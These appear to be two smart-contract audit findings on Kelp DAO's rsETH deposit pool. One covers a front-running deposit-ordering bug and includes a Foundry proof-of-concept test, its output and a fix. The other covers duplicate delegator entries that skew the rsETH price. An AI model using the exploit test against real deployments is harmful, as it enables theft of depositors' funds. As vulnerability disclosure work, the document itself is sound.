Kelp DAO | rsETH - 0x1337's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L119-L144 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L151-L157 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L95-L110 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTOracle.sol#L52-L79

Vulnerability details

Impact

In the LRTDepositPool contract, users use the depositAsset() function to deposit their LST asset and receive the minted rsETH in return. The bug in this function is that the asset is transferred to address(this) before the rsETH is minted to the user. The reason that the order matters is that in calculating the amount of rsETH to mint, the asset balance of address(this) can have a significant influence on the amount of rsETH to be minted. A malicious user could front run normal deposit transactions and deposit a small amount of asset in return for a large rsETH balance, when compared to subsequent normal deposit transactions. This enables a malicious user to subsequently withdraw a disproportionate amount of LST asset when they burn the rsETH.

Proof of Concept

In the PoC below, Alice deposits a very small amount (1e3) of asset and receive the same amount of rsETH in return.

Subsequently, Bob deposits 1e18 amount of asset, but receives less rsETH than what Alice received, despite a deposit size that is 1e15 times bigger than Alice.

This shows that a malicious user Alice can front run normal deposit transactions and receive a disproportionate amount of rsETH.

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;

import { BaseTest } from "./BaseTest.t.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";
import { LRTOracle } from "src/LRTOracle.sol";

import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import "forge-std/console.sol";

contract MockPriceOracle {
    function getAssetPrice(address) external pure returns (uint256) {
        return 1 ether;
    }
}

contract NewTest is BaseTest, RSETHTest {
    LRTDepositPool public lrtDepositPool;
    MockPriceOracle public mockOracle;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(proxyAdmin),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));

        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        // initialize oracle
        LRTOracle lrtOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy(
            address(lrtOracleImpl),
            address(proxyAdmin),
            ""
        );

        LRTOracle(address(lrtOracleProxy)).initialize(address(lrtConfig));

        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracleProxy));

        vm.stopPrank();

        vm.startPrank(manager);

        mockOracle = new MockPriceOracle();

        LRTOracle(address(lrtOracleProxy)).updatePriceOracleFor(address(rETH), address(mockOracle) );
        LRTOracle(address(lrtOracleProxy)).updatePriceOracleFor(address(stETH), address(mockOracle) );
        LRTOracle(address(lrtOracleProxy)).updatePriceOracleFor(address(cbETH), address(mockOracle) );

        vm.stopPrank();

        // initialize LRTDepositPool
        lrtDepositPool.initialize(address(lrtConfig));

        // add manager role within LRTConfig
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        vm.stopPrank();
    }

    function test_FirstMint() external{
        uint256 firstDeposit = 1e3;

        vm.startPrank(alice);

        rETH.approve(address(lrtDepositPool), firstDeposit);
        lrtDepositPool.depositAsset(address(rETH), firstDeposit);
        console.log(rseth.balanceOf(address(alice)));

        vm.stopPrank();

        uint256 normalDeposit = 1 ether;

        vm.startPrank(bob);

        rETH.approve(address(lrtDepositPool), normalDeposit);
        lrtDepositPool.depositAsset(address(rETH), normalDeposit);
        console.log(rseth.balanceOf(address(bob)));

        vm.stopPrank();
    }
}

Running 1 test for test/NewTest.t.sol:NewTest
[PASS] test_FirstMint() (gas: 311332)
Logs:
  Alice rsETH balance: 1000
  Bob rsETH balance: 999

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.11ms

Tools Used

Manual Review

Recommended Mitigation Steps

The above can be fixed if we simply swap L136-138 with L141 in the LRTDepositPool contract, so that the asset transfer occurs after calculating the correct amount of rsETH to be minted to the user. With this change, we could see that the same test returns the following amount, in which Bob's rsETH balance is now proportional to the amount of asset he contributes relative to Alice.

Running 1 test for test/NewTest.t.sol:NewTest
[PASS] test_FirstMint() (gas: 311332)
Logs:
  Alice rsETH balance: 1000
  Bob rsETH balance: 1000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.19ms

Assessed type

ERC4626

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L162-L176 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L71-L89

Vulnerability details

Impact

The addNodeDelegatorContractToQueue() function of the LRTDepositPool contract does not contain a check that the address being added is not already included in the nodeDelegatorQueue. If a duplicate address is added to the nodeDelegatorQueue, then the getAssetDistributionData() function would double count the asset balance from the same delegator address, and return incorrect result. This could cause other consequences, including incorrect getTotalAssetDeposits() return value and incorrect getRSETHPrice(), which affects the amount of rsETH being minted to users.

Proof of Concept

The addNodeDelegatorContractToQueue() function allows the same address to be added more than once

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L162-L176

If the same address is added more than once, the getAssetDistributionData() function below would return incorrect result due to double counting the asset balance from the same delegator address.

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L71-L89

Tools Used

Manual Review

Recommended Mitigation Steps

Add a check in the addNodeDelegatorContractToQueue() function that the same address cannot be added if it is already included in the nodeDelegatorQueue

Assessed type

Invalid Validation